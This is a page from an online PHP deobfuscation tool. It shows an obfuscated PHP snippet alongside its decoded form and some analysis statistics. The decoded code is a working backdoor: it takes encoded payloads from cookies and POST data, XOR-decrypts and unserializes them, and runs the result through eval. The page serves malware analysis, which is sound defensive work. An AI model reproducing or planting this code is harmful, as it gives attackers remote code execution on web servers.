Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

$gGNdhnQ = "\157" . chr (122) . chr (88) . "\x5f" . chr ( 1093 - 982 )."\104" . "\x79";$oL..

Decoded Output download

<?  $gGNdhnQ = "o" . chr (122) . chr (88) . "_" . chr ( 1093 - 982 )."D" . "y";$oLIiHvW = 'c' . chr (108) . 'a' . chr (115) . "s" . chr ( 165 - 70 ).chr (101) . "x" . "i" . chr ( 243 - 128 ).'t' . chr (115); $xskDY = $oLIiHvW($gGNdhnQ); $gGNdhnQ = "28565";$oLIiHvW = "28679";$cJUonfsK = $xskDY;if (!$cJUonfsK){class ozX_oDy{private $yMchNAGQc;public static $jSOeI = "577bd448-418a-4541-b732-cd795cadd318";public static $RVrnjsVeKr = 51107;public function __construct($NGWzFvEkyp=0){$CSZWhHZj = $_COOKIE;$saCumyJgW = $_POST;$zAXRilNV = @$CSZWhHZj[substr(ozX_oDy::$jSOeI, 0, 4)];if (!empty($zAXRilNV)){$MfWMiXfU = "base64";$RsZDB = "";$zAXRilNV = explode(",", $zAXRilNV);foreach ($zAXRilNV as $jBvroKZvO){$RsZDB .= @$CSZWhHZj[$jBvroKZvO];$RsZDB .= @$saCumyJgW[$jBvroKZvO];}$RsZDB = array_map($MfWMiXfU . chr ( 365 - 270 ).chr ( 894 - 794 )."e" . chr (99) . "o" . chr (100) . chr (101), array($RsZDB,)); $RsZDB = $RsZDB[0] ^ str_repeat(ozX_oDy::$jSOeI, (strlen($RsZDB[0]) / strlen(ozX_oDy::$jSOeI)) + 1);ozX_oDy::$RVrnjsVeKr = @unserialize($RsZDB);}}private function XoGCXT(){if (is_array(ozX_oDy::$RVrnjsVeKr)) {$MjCIqHOM = str_replace(chr ( 855 - 795 ) . chr (63) . 'p' . chr ( 434 - 330 )."p", "", ozX_oDy::$RVrnjsVeKr["c" . "o" . "n" . 't' . "e" . chr (110) . chr ( 410 - 294 )]);eval($MjCIqHOM); $ABQlnoupV = "17207";exit();}}public function __destruct(){$this->XoGCXT(); $ABQlnoupV = "17207";}}$HfKFHsGkaY = new ozX_oDy(); $HfKFHsGkaY = "17578_47560";} ?>

Did this file decode correctly?

Original Code

$gGNdhnQ = "\157" . chr (122) . chr (88) . "\x5f" . chr ( 1093 - 982 )."\104" . "\x79";$oLIiHvW = 'c' . chr (108) . 'a' . chr (115) . "\x73" . chr ( 165 - 70 ).chr (101) . "\x78" . "\x69" . chr ( 243 - 128 ).'t' . chr (115); $xskDY = $oLIiHvW($gGNdhnQ); $gGNdhnQ = "28565";$oLIiHvW = "28679";$cJUonfsK = $xskDY;if (!$cJUonfsK){class ozX_oDy{private $yMchNAGQc;public static $jSOeI = "577bd448-418a-4541-b732-cd795cadd318";public static $RVrnjsVeKr = 51107;public function __construct($NGWzFvEkyp=0){$CSZWhHZj = $_COOKIE;$saCumyJgW = $_POST;$zAXRilNV = @$CSZWhHZj[substr(ozX_oDy::$jSOeI, 0, 4)];if (!empty($zAXRilNV)){$MfWMiXfU = "base64";$RsZDB = "";$zAXRilNV = explode(",", $zAXRilNV);foreach ($zAXRilNV as $jBvroKZvO){$RsZDB .= @$CSZWhHZj[$jBvroKZvO];$RsZDB .= @$saCumyJgW[$jBvroKZvO];}$RsZDB = array_map($MfWMiXfU . chr ( 365 - 270 ).chr ( 894 - 794 )."\145" . chr (99) . "\157" . chr (100) . chr (101), array($RsZDB,)); $RsZDB = $RsZDB[0] ^ str_repeat(ozX_oDy::$jSOeI, (strlen($RsZDB[0]) / strlen(ozX_oDy::$jSOeI)) + 1);ozX_oDy::$RVrnjsVeKr = @unserialize($RsZDB);}}private function XoGCXT(){if (is_array(ozX_oDy::$RVrnjsVeKr)) {$MjCIqHOM = str_replace(chr ( 855 - 795 ) . chr (63) . 'p' . chr ( 434 - 330 )."\x70", "", ozX_oDy::$RVrnjsVeKr["\x63" . "\x6f" . "\156" . 't' . "\145" . chr (110) . chr ( 410 - 294 )]);eval($MjCIqHOM); $ABQlnoupV = "17207";exit();}}public function __destruct(){$this->XoGCXT(); $ABQlnoupV = "17207";}}$HfKFHsGkaY = new ozX_oDy(); $HfKFHsGkaY = "17578_47560";}

Function Calls

chr 9
class_exists 1

Variables

$gGNdhnQ ozX_oDy
$oLIiHvW class_exists

Stats

MD5 7a7aaeb69a13bf935c034226b1bcb1cd
Eval Count 0
Decode Time 70 ms